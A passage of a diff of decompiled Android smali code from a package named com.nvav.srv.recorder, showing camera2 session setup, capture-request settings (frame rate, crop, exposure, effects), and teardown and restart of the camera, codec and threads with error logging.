iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Long;
|
||||
|
||||
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraASUS;->set:Ljava/lang/Long;
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_1
|
||||
move-exception v0
|
||||
|
||||
.line 215
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 218
|
||||
:goto_1
|
||||
:try_start_2
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {v0}, Landroid/hardware/camera2/CameraDevice;->close()V
|
||||
:try_end_2
|
||||
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_2
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_2
|
||||
move-exception v0
|
||||
|
||||
.line 220
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 223
|
||||
:goto_2
|
||||
:try_start_3
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
if-eqz v0, :cond_1
|
||||
|
||||
.line 224
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->stop()V
|
||||
|
||||
.line 225
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->release()V
|
||||
:try_end_3
|
||||
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_3
|
||||
|
||||
goto :goto_3
|
||||
|
||||
:catch_3
|
||||
move-exception v0
|
||||
|
||||
.line 228
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_1
|
||||
:goto_3
|
||||
const/4 v0, 0x0
|
||||
|
||||
.line 231
|
||||
:try_start_4
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
if-eqz v1, :cond_2
|
||||
|
||||
.line 232
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {v1}, Landroid/view/Surface;->release()V
|
||||
|
||||
.line 233
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {v1, v0}, Lcom/nvav/srv/recorder/CameraASUS;->access$002(Lcom/nvav/srv/recorder/CameraASUS;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
:try_end_4
|
||||
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_4
|
||||
|
||||
goto :goto_4
|
||||
|
||||
:catch_4
|
||||
move-exception v1
|
||||
|
||||
.line 236
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v2, v1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 239
|
||||
:cond_2
|
||||
:goto_4
|
||||
:try_start_5
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
invoke-interface {v1}, Ljava/util/List;->clear()V
|
||||
|
||||
.line 240
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraASUS;->mOutputSurfaces:Ljava/util/List;
|
||||
:try_end_5
|
||||
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_5
|
||||
|
||||
goto :goto_5
|
||||
|
||||
:catch_5
|
||||
move-exception v1
|
||||
|
||||
.line 242
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v2, v1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 244
|
||||
:goto_5
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraASUS;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 245
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
.line 247
|
||||
:try_start_6
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
|
||||
:try_end_6
|
||||
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_6
|
||||
|
||||
goto :goto_6
|
||||
|
||||
:catch_6
|
||||
move-exception v0
|
||||
|
||||
.line 249
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_6
|
||||
const-wide/16 v0, 0x2ee
|
||||
|
||||
.line 252
|
||||
:try_start_7
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraASUS$2$1;->sleep(J)V
|
||||
:try_end_7
|
||||
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_7
|
||||
|
||||
goto :goto_7
|
||||
|
||||
:catch_7
|
||||
move-exception v0
|
||||
|
||||
.line 254
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 257
|
||||
:goto_7
|
||||
:try_start_8
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mThread:Landroid/os/HandlerThread;
|
||||
|
||||
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
|
||||
|
||||
.line 258
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mThread2:Landroid/os/HandlerThread;
|
||||
|
||||
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
|
||||
|
||||
.line 259
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->mThread3:Landroid/os/HandlerThread;
|
||||
|
||||
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
|
||||
:try_end_8
|
||||
.catch Ljava/lang/Exception; {:try_start_8 .. :try_end_8} :catch_8
|
||||
|
||||
goto :goto_8
|
||||
|
||||
:catch_8
|
||||
move-exception v0
|
||||
|
||||
.line 261
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 263
|
||||
:goto_8
|
||||
sget-boolean v0, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
|
||||
|
||||
if-eqz v0, :cond_3
|
||||
|
||||
.line 265
|
||||
:try_start_9
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-virtual {v0}, Lcom/nvav/srv/recorder/CameraASUS;->StartRestart()V
|
||||
:try_end_9
|
||||
.catch Ljava/lang/Exception; {:try_start_9 .. :try_end_9} :catch_9
|
||||
|
||||
goto :goto_9
|
||||
|
||||
:catch_9
|
||||
move-exception v0
|
||||
|
||||
.line 267
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_3
|
||||
:goto_9
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,490 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraASUS$2;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
.source "CameraASUS.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraASUS;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUS;)V
|
||||
.locals 0
|
||||
|
||||
.line 167
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 292
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession ac"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 5
|
||||
|
||||
.line 171
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v1, 0x5
|
||||
|
||||
aget-object v0, v0, v1
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
const/16 v2, 0x1e
|
||||
|
||||
if-le v0, v2, :cond_0
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
check-cast p1, Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$102(Lcom/nvav/srv/recorder/CameraASUS;Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;)Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 172
|
||||
:cond_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$202(Lcom/nvav/srv/recorder/CameraASUS;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
|
||||
|
||||
.line 173
|
||||
:goto_0
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
const/4 v2, 0x3
|
||||
|
||||
invoke-virtual {v0, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
.line 174
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
|
||||
|
||||
.line 175
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
new-instance v2, Landroid/util/Range;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v4, 0x4
|
||||
|
||||
aget-object v3, v3, v4
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v1, v4, v1
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v1
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-direct {v2, v3, v1}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
|
||||
|
||||
invoke-virtual {p1, v0, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 176
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$300(Lcom/nvav/srv/recorder/CameraASUS;)V
|
||||
|
||||
.line 177
|
||||
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
|
||||
|
||||
if-eqz p1, :cond_1
|
||||
|
||||
.line 178
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->rect:Landroid/graphics/Rect;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 179
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->aec:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 180
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->cem:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 181
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
